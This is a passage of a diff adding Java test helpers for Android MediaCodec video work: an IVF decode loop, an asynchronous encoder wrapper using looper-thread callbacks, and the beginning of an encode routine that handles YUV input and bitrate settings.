+     * deterministic, therefore a more thorough check like
+     * md5 sum comparison wouldn't work.)
+     *
+     * Indeed, MediaCodec will raise an IllegalStateException
+     * whenever video decoder fails to decode a frame, and
+     * this test uses that fact to verify the bitstream.
+     *
+     * @param inputIvfFilename  The name of the IVF file containing encoded bitsream.
+     * @param outputYuvFilename The name of the output YUV file (optional).
+     * @param frameRate         Frame rate of input file in frames per second
+     * @param codecConfigs      Codec config buffers to be added to the format
+     */
+    protected ArrayList<MediaCodec.BufferInfo> decode(
+            String inputIvfFilename,
+            String outputYuvFilename,
+            String codecMimeType,
+            int frameRate,
+            ArrayList<ByteBuffer> codecConfigs) throws Exception {
+        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+
+        // Open input/output.
+        IvfReader ivf = new IvfReader(inputIvfFilename);
+        int frameWidth = ivf.getWidth();
+        int frameHeight = ivf.getHeight();
+        int frameCount = ivf.getFrameCount();
+        int frameStride = frameWidth;
+        int frameSliceHeight = frameHeight;
+        int cropLeft = 0;
+        int cropTop = 0;
+        int cropWidth = frameWidth;
+        int cropHeight = frameHeight;
+        assertTrue(frameWidth > 0);
+        assertTrue(frameHeight > 0);
+        assertTrue(frameCount > 0);
+
+        // Create decoder.
+        MediaFormat format = MediaFormat.createVideoFormat(
+                codecMimeType, ivf.getWidth(), ivf.getHeight());
+        CodecProperties properties = getVideoCodecProperties(false /* encoder */, format);
+        if (properties == null) {
+            ivf.close();
+            return null;
+        }
+        int frameColorFormat = properties.colorFormat;
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+        int csdIndex = 0;
+        for (ByteBuffer config : codecConfigs) {
+            format.setByteBuffer("csd-" + csdIndex, config);
+            ++csdIndex;
+        }
+
+        FileOutputStream yuv = null;
+        if (outputYuvFilename != null) {
+            yuv = new FileOutputStream(outputYuvFilename, false);
+        }
+
+        Log.d(TAG, "Creating decoder " + properties.codecName +
+                ". Color format: 0x" + Integer.toHexString(frameColorFormat) +
+                ". " + frameWidth + " x " + frameHeight);
+        Log.d(TAG, "  Format: " + format);
+        Log.d(TAG, "  In: " + inputIvfFilename + ". Out:" + outputYuvFilename);
+        MediaCodec decoder = MediaCodec.createByCodecName(properties.codecName);
+        decoder.configure(format,
+                          null,  // surface
+                          null,  // crypto
+                          0);    // flags
+        decoder.start();
+
+        ByteBuffer[] inputBuffers = decoder.getInputBuffers();
+        ByteBuffer[] outputBuffers = decoder.getOutputBuffers();
+        MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
+
+        // decode loop
+        int inputFrameIndex = 0;
+        int outputFrameIndex = 0;
+        long inPresentationTimeUs = 0;
+        long outPresentationTimeUs = 0;
+        boolean sawOutputEOS = false;
+        boolean sawInputEOS = false;
+
+        while (!sawOutputEOS) {
+            if (!sawInputEOS) {
+                int inputBufIndex = decoder.dequeueInputBuffer(DEFAULT_DEQUEUE_TIMEOUT_US);
+                if (inputBufIndex >= 0) {
+                    byte[] frame = ivf.readFrame(inputFrameIndex);
+
+                    if (inputFrameIndex == frameCount - 1) {
+                        Log.d(TAG, "  Input EOS for frame # " + inputFrameIndex);
+                        sawInputEOS = true;
+                    }
+
+                    inputBuffers[inputBufIndex].clear();
+                    inputBuffers[inputBufIndex].put(frame);
+                    inputBuffers[inputBufIndex].rewind();
+                    inPresentationTimeUs = (inputFrameIndex * 1000000) / frameRate;
+
+                    decoder.queueInputBuffer(
+                            inputBufIndex,
+                            0,  // offset
+                            frame.length,
+                            inPresentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+                    inputFrameIndex++;
+                }
+            }
+
+            int result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
+            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
+                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    outputBuffers = decoder.getOutputBuffers();
+                } else  if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    // Process format change
+                    format = decoder.getOutputFormat();
+                    frameWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+                    frameHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+                    frameColorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
+                    Log.d(TAG, "Decoder output format change. Color: 0x" +
+                            Integer.toHexString(frameColorFormat));
+                    Log.d(TAG, "Format: " + format.toString());
+
+                    // Parse frame and slice height from undocumented values
+                    if (format.containsKey("stride")) {
+                        frameStride = format.getInteger("stride");
+                    } else {
+                        frameStride = frameWidth;
+                    }
+                    if (format.containsKey("slice-height")) {
+                        frameSliceHeight = format.getInteger("slice-height");
+                    } else {
+                        frameSliceHeight = frameHeight;
+                    }
+                    Log.d(TAG, "Frame stride and slice height: " + frameStride +
+                            " x " + frameSliceHeight);
+                    frameStride = Math.max(frameWidth, frameStride);
+                    frameSliceHeight = Math.max(frameHeight, frameSliceHeight);
+
+                    // Parse crop window for the area of recording decoded frame data.
+                    if (format.containsKey("crop-left")) {
+                        cropLeft = format.getInteger("crop-left");
+                    }
+                    if (format.containsKey("crop-top")) {
+                        cropTop = format.getInteger("crop-top");
+                    }
+                    if (format.containsKey("crop-right")) {
+                        cropWidth = format.getInteger("crop-right") - cropLeft + 1;
+                    } else {
+                        cropWidth = frameWidth;
+                    }
+                    if (format.containsKey("crop-bottom")) {
+                        cropHeight = format.getInteger("crop-bottom") - cropTop + 1;
+                    } else {
+                        cropHeight = frameHeight;
+                    }
+                    Log.d(TAG, "Frame crop window origin: " + cropLeft + " x " + cropTop
+                            + ", size: " + cropWidth + " x " + cropHeight);
+                    cropWidth = Math.min(frameWidth - cropLeft, cropWidth);
+                    cropHeight = Math.min(frameHeight - cropTop, cropHeight);
+                }
+                result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
+            }
+            if (result >= 0) {
+                int outputBufIndex = result;
+                outPresentationTimeUs = bufferInfo.presentationTimeUs;
+                Log.v(TAG, "Writing buffer # " + outputFrameIndex +
+                        ". Size: " + bufferInfo.size +
+                        ". InTime: " + (inPresentationTimeUs + 500)/1000 +
+                        ". OutTime: " + (outPresentationTimeUs + 500)/1000);
+                if ((bufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    sawOutputEOS = true;
+                    Log.d(TAG, "   Output EOS for frame # " + outputFrameIndex);
+                }
+
+                if (bufferInfo.size > 0) {
+                    // Save decoder output to yuv file.
+                    if (yuv != null) {
+                        byte[] frame = new byte[bufferInfo.size];
+                        outputBuffers[outputBufIndex].position(bufferInfo.offset);
+                        outputBuffers[outputBufIndex].get(frame, 0, bufferInfo.size);
+                        // Convert NV12 to YUV420 if necessary.
+                        if (frameColorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+                            frame = NV12ToYUV420(frameWidth, frameHeight,
+                                    frameStride, frameSliceHeight, frame);
+                        }
+                        int writeLength = Math.min(cropWidth * cropHeight * 3 / 2, frame.length);
+                        // Pack frame if necessary.
+                        if (writeLength < frame.length &&
+                                (frameStride > cropWidth || frameSliceHeight > cropHeight)) {
+                            frame = PackYUV420(cropLeft, cropTop, cropWidth, cropHeight,
+                                    frameStride, frameSliceHeight, frame);
+                        }
+                        yuv.write(frame, 0, writeLength);
+                    }
+                    outputFrameIndex++;
+
+                    // Update statistics - store presentation time delay in offset
+                    long presentationTimeUsDelta = inPresentationTimeUs - outPresentationTimeUs;
+                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                    bufferInfoCopy.set((int)presentationTimeUsDelta, bufferInfo.size,
+                            outPresentationTimeUs, bufferInfo.flags);
+                    bufferInfos.add(bufferInfoCopy);
+                }
+                decoder.releaseOutputBuffer(outputBufIndex, false);
+            }
+        }
+        decoder.stop();
+        decoder.release();
+        ivf.close();
+        if (yuv != null) {
+            yuv.close();
+        }
+
+        return bufferInfos;
+    }
+
+
+    /**
+     * Helper function to return InputStream from either fully specified filename (if set)
+     * or resource name within test assets (if filename is not set).
+     */
+    private InputStream OpenFileOrResource(String filename, final String resource)
+            throws Exception {
+        if (filename != null) {
+            Preconditions.assertTestFileExists(filename);
+            return new FileInputStream(filename);
+        }
+        Preconditions.assertTestFileExists(mInpPrefix + resource);
+        return new FileInputStream(mInpPrefix + resource);
+    }
+
+    /**
+     * Results of frame encoding.
+     */
+    protected class MediaEncoderOutput {
+        public long inPresentationTimeUs;
+        public long outPresentationTimeUs;
+        public boolean outputGenerated;
+        public int flags;
+        public byte[] buffer;
+    }
+
+    protected class MediaEncoderAsyncHelper {
+        private final EncoderOutputStreamParameters mStreamParams;
+        private final CodecProperties mProperties;
+        private final ArrayList<MediaCodec.BufferInfo> mBufferInfos;
+        private final IvfWriter mIvf;
+        private final ArrayList<ByteBuffer> mCodecConfigs;
+        private final byte[] mSrcFrame;
+
+        private InputStream mYuvStream;
+        private int mInputFrameIndex;
+        private final EncodingStatisticsInfo mEncStatInfo;
+
+        MediaEncoderAsyncHelper(
+                EncoderOutputStreamParameters streamParams,
+                CodecProperties properties,
+                ArrayList<MediaCodec.BufferInfo> bufferInfos,
+                IvfWriter ivf,
+                ArrayList<ByteBuffer> codecConfigs,
+                EncodingStatisticsInfo encStatInfo)
+                throws Exception {
+            mStreamParams = streamParams;
+            mProperties = properties;
+            mBufferInfos = bufferInfos;
+            mIvf = ivf;
+            mCodecConfigs = codecConfigs;
+            mEncStatInfo = encStatInfo;
+
+            int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
+            mSrcFrame = new byte[srcFrameSize];
+
+            mYuvStream = OpenFileOrResource(
+                    streamParams.inputYuvFilename, streamParams.inputResource);
+        }
+
+        public byte[] getInputFrame() {
+            // Check EOS
+            if (mStreamParams.frameCount == 0
+                    || (mStreamParams.frameCount > 0
+                            && mInputFrameIndex >= mStreamParams.frameCount)) {
+                Log.d(TAG, "---Sending EOS empty frame for frame # " + mInputFrameIndex);
+                return null;
+            }
+
+            try {
+                int bytesRead = mYuvStream.read(mSrcFrame);
+
+                if (bytesRead == -1) {
+                    // rewind to beginning of file
+                    mYuvStream.close();
+                    mYuvStream = OpenFileOrResource(
+                            mStreamParams.inputYuvFilename, mStreamParams.inputResource);
+                    bytesRead = mYuvStream.read(mSrcFrame);
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "Failed to read YUV file.");
+                return null;
+            }
+            mInputFrameIndex++;
+
+            // Convert YUV420 to NV12 if necessary
+            if (mProperties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+                return YUV420ToNV(mStreamParams.frameWidth, mStreamParams.frameHeight,
+                        mSrcFrame);
+            } else {
+                return mSrcFrame;
+            }
+        }
+
+        public boolean saveOutputFrame(MediaEncoderOutput out) {
+            if (out.outputGenerated) {
+                if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+                    Log.d(TAG, "Storing codec config separately");
+                    ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+                    csdBuffer.rewind();
+                    mCodecConfigs.add(csdBuffer);
+                    out.buffer = new byte[0];
+                }
+                if (out.buffer.length > 0) {
+                    // Save frame
+                    try {
+                        mIvf.writeFrame(out.buffer, out.outPresentationTimeUs);
+                    } catch (Exception e) {
+                        Log.d(TAG, "Failed to write frame");
+                        return true;
+                    }
+
+                    // Update statistics - store presentation time delay in offset
+                    long presentationTimeUsDelta = out.inPresentationTimeUs -
+                            out.outPresentationTimeUs;
+                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+                            out.outPresentationTimeUs, out.flags);
+                    mBufferInfos.add(bufferInfoCopy);
+                }
+                // Detect output EOS
+                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "----Output EOS ");
+                    return true;
+                }
+            }
+            return false;
+        }
+
+        public void saveAvgQp(int avg_qp) {
+            mEncStatInfo.averageSeqQp += (float) avg_qp;
+            ++mEncStatInfo.encodedFrames;  // Note: Duplicated info to  mOutputFrameIndex
+        }
+    }
+
+    /**
+     * Video encoder wrapper class.
+     * Allows to run the encoder either in a callee's thread or in a looper thread
+     * using buffer dequeue ready notification callbacks.
+     *
+     * Function feedInput() is used to send raw video frame to the encoder input. When encoder
+     * is configured to run in async mode the function will run in a looper thread.
+     * Encoded frame can be retrieved by calling getOutput() function.
+     */
+    protected class MediaEncoderAsync extends Thread {
+        private int mId;
+        private MediaCodecWrapper mCodec;
+        private ByteBuffer[] mInputBuffers;
+        private ByteBuffer[] mOutputBuffers;
+        private int mInputFrameIndex;
+        private int mOutputFrameIndex;
+        private int mInputBufIndex;
+        private int mFrameRate;
+        private long mTimeout;
+        private MediaCodec.BufferInfo mBufferInfo;
+        private long mInPresentationTimeUs;
+        private long mOutPresentationTimeUs;
+        private boolean mAsync;
+        // Flag indicating if input frame was consumed by the encoder in feedInput() call.
+        private boolean mConsumedInput;
+        // Result of frame encoding returned by getOutput() call.
+        private MediaEncoderOutput mOutput;
+        // Object used to signal that looper thread has started and Handler instance associated
+        // with looper thread has been allocated.
+        private final Object mThreadEvent = new Object();
+        // Object used to signal that MediaCodec buffer dequeue notification callback
+        // was received.
+        private final Object mCallbackEvent = new Object();
+        private Handler mHandler;
+        private boolean mCallbackReceived;
+        private MediaEncoderAsyncHelper mHelper;
+        private final Object mCompletionEvent = new Object();
+        private boolean mCompleted;
+        private boolean mInitialSyncFrameReceived;
+
+        private MediaCodec.Callback mCallback = new MediaCodec.Callback() {
+            @Override
+            public void onInputBufferAvailable(MediaCodec codec, int index) {
+                if (mHelper == null) {
+                    Log.e(TAG, "async helper not available");
+                    return;
+                }
+
+                byte[] encFrame = mHelper.getInputFrame();
+                boolean inputEOS = (encFrame == null);
+
+                int encFrameLength = 0;
+                int flags = 0;
+                if (inputEOS) {
+                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                } else {
+                    encFrameLength = encFrame.length;
+
+                    ByteBuffer byteBuffer = mCodec.getInputBuffer(index);
+                    byteBuffer.put(encFrame);
+                    byteBuffer.rewind();
+
+                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
+
+                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
+                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
+
+                    mInputFrameIndex++;
+                }
+
+                mCodec.queueInputBuffer(
+                        index,
+                        0,  // offset
+                        encFrameLength,  // size
+                        mInPresentationTimeUs,
+                        flags);
+            }
+
+            @Override
+            public void onOutputBufferAvailable(MediaCodec codec,
+                    int index, MediaCodec.BufferInfo info) {
+                if (mHelper == null) {
+                    Log.e(TAG, "async helper not available");
+                    return;
+                }
+
+                MediaEncoderOutput out = new MediaEncoderOutput();
+
+                out.buffer = new byte[info.size];
+                ByteBuffer outputBuffer = mCodec.getOutputBuffer(index);
+                outputBuffer.get(out.buffer, 0, info.size);
+                mOutPresentationTimeUs = info.presentationTimeUs;
+
+                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
+                if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+                    logStr += " CONFIG. ";
+                }
+                if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+                    logStr += " KEY. ";
+                    if (!mInitialSyncFrameReceived) {
+                        mInitialSyncFrameReceived = true;
+                    }
+                }
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    logStr += " EOS. ";
+                }
+                logStr += " Size: " + info.size;
+                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
+                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
+                Log.v(TAG, logStr);
+
+                if (!mInitialSyncFrameReceived
+                        && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+                    throw new RuntimeException("Non codec_config_frame before first sync.");
+                }
+
+                if (info.size > 0) {
+                    mOutputFrameIndex++;
+                    out.inPresentationTimeUs = mInPresentationTimeUs;
+                    out.outPresentationTimeUs = mOutPresentationTimeUs;
+                }
+
+                MediaFormat format = codec.getOutputFormat(index);
+                if (format.containsKey(MediaFormat.KEY_VIDEO_QP_AVERAGE)) {
+                    int avgQp = format.getInteger(MediaFormat.KEY_VIDEO_QP_AVERAGE);
+                    // Copy per-frame avgQp to sequence level buffer
+                    mHelper.saveAvgQp(avgQp);
+                }
+
+                mCodec.releaseOutputBuffer(index, false);
+
+                out.flags = info.flags;
+                out.outputGenerated = true;
+
+                if (mHelper.saveOutputFrame(out)) {
+                    // output EOS
+                    signalCompletion();
+                }
+            }
+
+            @Override
+            public void onError(MediaCodec codec, CodecException e) {
+                Log.e(TAG, "onError: " + e
+                        + ", transient " + e.isTransient()
+                        + ", recoverable " + e.isRecoverable()
+                        + ", error " + e.getErrorCode());
+            }
+
+            @Override
+            public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+                Log.i(TAG, "onOutputFormatChanged: " + format.toString());
+            }
+        };
+
+        private synchronized void requestStart() throws Exception {
+            mHandler = null;
+            start();
+            // Wait for Hander allocation
+            synchronized (mThreadEvent) {
+                while (mHandler == null) {
+                    mThreadEvent.wait();
+                }
+            }
+        }
+
+        public void setAsyncHelper(MediaEncoderAsyncHelper helper) {
+            mHelper = helper;
+        }
+
+        @Override
+        public void run() {
+            Looper.prepare();
+            setUncaughtExceptionHandler(new Thread.UncaughtExceptionHandler() {
+                @Override
+                public void uncaughtException(Thread t, Throwable e) {
+                    Log.e(TAG, "thread " + t + " exception " + e);
+                    try {
+                        deleteCodec();
+                    } catch (Exception ex) {
+                        Log.e(TAG, "exception from deleteCodec " + e);
+                    }
+                }
+            });
+            synchronized (mThreadEvent) {
+                mHandler = new Handler();
+                mThreadEvent.notify();
+            }
+            Looper.loop();
+        }
+
+        private void runCallable(final Callable<?> callable) throws Exception {
+            if (mAsync) {
+                final Exception[] exception = new Exception[1];
+                final CountDownLatch countDownLatch = new CountDownLatch(1);
+                mHandler.post( new Runnable() {
+                    @Override
+                    public void run() {
+                        try {
+                            callable.call();
+                        } catch (Exception e) {
+                            exception[0] = e;
+                        } finally {
+                            countDownLatch.countDown();
+                        }
+                    }
+                } );
+
+                // Wait for task completion
+                countDownLatch.await();
+                if (exception[0] != null) {
+                    throw exception[0];
+                }
+            } else {
+                callable.call();
+            }
+        }
+
+        private synchronized void requestStop() throws Exception {
+            mHandler.post( new Runnable() {
+                @Override
+                public void run() {
+                    // This will run on the Looper thread
+                    Log.v(TAG, "MediaEncoder looper quitting");
+                    Looper.myLooper().quitSafely();
+                }
+            } );
+            // Wait for completion
+            join();
+            mHandler = null;
+        }
+
+        private void createCodecInternal(final String name,
+                final MediaFormat format, final long timeout, boolean useNdk) throws Exception {
+            mBufferInfo = new MediaCodec.BufferInfo();
+            mFrameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE);
+            mTimeout = timeout;
+            mInputFrameIndex = 0;
+            mOutputFrameIndex = 0;
+            mInPresentationTimeUs = 0;
+            mOutPresentationTimeUs = 0;
+
+            if (useNdk) {
+                mCodec = new NdkMediaCodec(name);
+            } else {
+                mCodec = new SdkMediaCodec(MediaCodec.createByCodecName(name), mAsync);
+            }
+            if (mAsync) {
+                mCodec.setCallback(mCallback);
+            }
+            mCodec.configure(format, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            mCodec.start();
+
+            // get the cached input/output only in sync mode
+            if (!mAsync) {
+                mInputBuffers = mCodec.getInputBuffers();
+                mOutputBuffers = mCodec.getOutputBuffers();
+            }
+        }
+
+        public void createCodec(int id, final String name, final MediaFormat format,
+                final long timeout, boolean async, final boolean useNdk)  throws Exception {
+            mId = id;
+            mAsync = async;
+            if (mAsync) {
+                requestStart(); // start looper thread
+            }
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    createCodecInternal(name, format, timeout, useNdk);
+                    return null;
+                }
+            } );
+        }
+
+        private void feedInputInternal(final byte[] encFrame, final boolean inputEOS) {
+            mConsumedInput = false;
+            // Feed input
+            mInputBufIndex = mCodec.dequeueInputBuffer(mTimeout);
+
+            if (mInputBufIndex >= 0) {
+                ByteBuffer inputBuffer = mCodec.getInputBuffer(mInputBufIndex);
+                inputBuffer.clear();
+                inputBuffer.put(encFrame);
+                inputBuffer.rewind();
+                int encFrameLength = encFrame.length;
+                int flags = 0;
+                if (inputEOS) {
+                    encFrameLength = 0;
+                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                }
+                if (!inputEOS) {
+                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
+                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
+                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
+                    mInputFrameIndex++;
+                }
+
+                mCodec.queueInputBuffer(
+                        mInputBufIndex,
+                        0,  // offset
+                        encFrameLength,  // size
+                        mInPresentationTimeUs,
+                        flags);
+
+                mConsumedInput = true;
+            } else {
+                Log.v(TAG, "In " + mId + " - TRY_AGAIN_LATER");
+            }
+            mCallbackReceived = false;
+        }
+
+        public boolean feedInput(final byte[] encFrame, final boolean inputEOS) throws Exception {
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    feedInputInternal(encFrame, inputEOS);
+                    return null;
+                }
+            } );
+            return mConsumedInput;
+        }
+
+        private void getOutputInternal() {
+            mOutput = new MediaEncoderOutput();
+            mOutput.inPresentationTimeUs = mInPresentationTimeUs;
+            mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
+            mOutput.outputGenerated = false;
+
+            // Get output from the encoder
+            int result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
+            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
+                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    mOutputBuffers = mCodec.getOutputBuffers();
+                } else if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    Log.d(TAG, "Format changed: " + mCodec.getOutputFormatString());
+                }
+                result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
+            }
+            if (result == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                Log.v(TAG, "Out " + mId + " - TRY_AGAIN_LATER");
+            }
+
+            if (result >= 0) {
+                int outputBufIndex = result;
+                mOutput.buffer = new byte[mBufferInfo.size];
+                ByteBuffer outputBuffer = mCodec.getOutputBuffer(outputBufIndex);
+                outputBuffer.position(mBufferInfo.offset);
+                outputBuffer.get(mOutput.buffer, 0, mBufferInfo.size);
+                mOutPresentationTimeUs = mBufferInfo.presentationTimeUs;
+
+                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
+                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+                    logStr += " CONFIG. ";
+                }
+                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+                    logStr += " KEY. ";
+                    if (!mInitialSyncFrameReceived) {
+                        mInitialSyncFrameReceived = true;
+                    }
+                }
+                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    logStr += " EOS. ";
+                }
+                logStr += " Size: " + mBufferInfo.size;
+                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
+                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
+                Log.v(TAG, logStr);
+
+                if (!mInitialSyncFrameReceived
+                        && (mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+                    throw new RuntimeException("Non codec_config_frame before first sync.");
+                }
+
+                if (mBufferInfo.size > 0) {
+                    mOutputFrameIndex++;
+                    mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
+                }
+                mCodec.releaseOutputBuffer(outputBufIndex, false);
+
+                mOutput.flags = mBufferInfo.flags;
+                mOutput.outputGenerated = true;
+            }
+            mCallbackReceived = false;
+        }
+
+        public MediaEncoderOutput getOutput() throws Exception {
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    getOutputInternal();
+                    return null;
+                }
+            } );
+            return mOutput;
+        }
+
+        public void forceSyncFrame() throws Exception {
+            final Bundle syncFrame = new Bundle();
+            syncFrame.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0);
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    mCodec.setParameters(syncFrame);
+                    return null;
+                }
+            } );
+        }
+
+        public void updateBitrate(int bitrate) throws Exception {
+            final Bundle bitrateUpdate = new Bundle();
+            bitrateUpdate.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, bitrate);
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    mCodec.setParameters(bitrateUpdate);
+                    return null;
+                }
+            } );
+        }
+
+
+        public void waitForBufferEvent() throws Exception {
+            Log.v(TAG, "----Enc" + mId + " waiting for bufferEvent");
+            if (mAsync) {
+                synchronized (mCallbackEvent) {
+                    if (!mCallbackReceived) {
+                        mCallbackEvent.wait(1000); // wait 1 sec for a callback
+                        // throw an exception if callback was not received
+                        if (!mCallbackReceived) {
+                            throw new RuntimeException("MediaCodec callback was not received");
+                        }
+                    }
+                }
+            } else {
+                Thread.sleep(5);
+            }
+            Log.v(TAG, "----Waiting for bufferEvent done");
+        }
+
+
+        public void waitForCompletion(long timeoutMs) throws Exception {
+            synchronized (mCompletionEvent) {
+                long timeoutExpiredMs = System.currentTimeMillis() + timeoutMs;
+
+                while (!mCompleted) {
+                    mCompletionEvent.wait(timeoutExpiredMs - System.currentTimeMillis());
+                    if (System.currentTimeMillis() >= timeoutExpiredMs) {
+                        throw new RuntimeException("encoding has timed out!");
+                    }
+                }
+            }
+        }
+
+        public void signalCompletion() {
+            synchronized (mCompletionEvent) {
+                mCompleted = true;
+                mCompletionEvent.notify();
+            }
+        }
+
+        public void deleteCodec() throws Exception {
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    mCodec.stop();
+                    mCodec.release();
+                    return null;
+                }
+            } );
+            if (mAsync) {
+                requestStop(); // Stop looper thread
+            }
+        }
+    }
+
+    /**
+     * @see #encode(EncoderOutputStreamParameters, ArrayList<ByteBuffer>)
+     */
+    protected VideoEncodeOutput encode(
+            EncoderOutputStreamParameters streamParams) throws Exception {
+        return encode(streamParams, new ArrayList<ByteBuffer>());
+    }
+
+    /**
+     * Video encoding loop supporting encoding single streams with an option
+     * to run in a looper thread and use buffer ready notification callbacks.
+     *
+     * Output stream is described by encodingParams parameters.
+     *
+     * MediaCodec will raise an IllegalStateException
+     * whenever video encoder fails to encode a frame.
+     *
+     * Color format of input file should be YUV420, and frameWidth,
+     * frameHeight should be supplied correctly as raw input file doesn't
+     * include any header data.
+     *
+     * @param streamParams  Structure with encoder parameters
+     * @param codecConfigs  List to be filled with codec config buffers
+     * @return              Returns VideoEncodeOutput, which consists of
+     *                      array of encoded frames information for each frame and Encoding
+     *                      Statistics Information.
+     */
+    protected VideoEncodeOutput encode(
+            EncoderOutputStreamParameters streamParams,
+            ArrayList<ByteBuffer> codecConfigs) throws Exception {
+
+        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+        EncodingStatisticsInfo encStatInfo = new EncodingStatisticsInfo();
+        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
+                streamParams.frameHeight);
+        int bitrate = streamParams.bitrateSet[0];
+
+        // Create minimal media format signifying desired output.
+        MediaFormat format = MediaFormat.createVideoFormat(
+                streamParams.codecMimeType, streamParams.frameWidth,
+                streamParams.frameHeight);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        CodecProperties properties = getEncoderProperties(streamParams.codecName, format);
+
+        // Open input/output
+        InputStream yuvStream = OpenFileOrResource(
+                streamParams.inputYuvFilename, streamParams.inputResource);
+        IvfWriter ivf = new IvfWriter(
+                streamParams.outputIvfFilename, streamParams.codecMimeType,
+                streamParams.frameWidth, streamParams.frameHeight);
+
+        // Create a media format signifying desired output.
+        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
+            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+        }
+        if (streamParams.temporalLayers > 0) {
+            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
+        }
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
+        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
+                streamParams.frameRate;
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+        if (streamParams.encodingStatisticsLevel !=
+                MediaFormat.VIDEO_ENCODING_STATISTICS_LEVEL_NONE) {
+            format.setInteger(MediaFormat.KEY_VIDEO_ENCODING_STATISTICS_LEVEL,
+                    streamParams.encodingStatisticsLevel);
+        }
+
+        // Create encoder
+        Log.d(TAG, "Creating encoder " + properties.codecName +
+                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+                streamParams.frameWidth + " x " + streamParams.frameHeight +
+                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
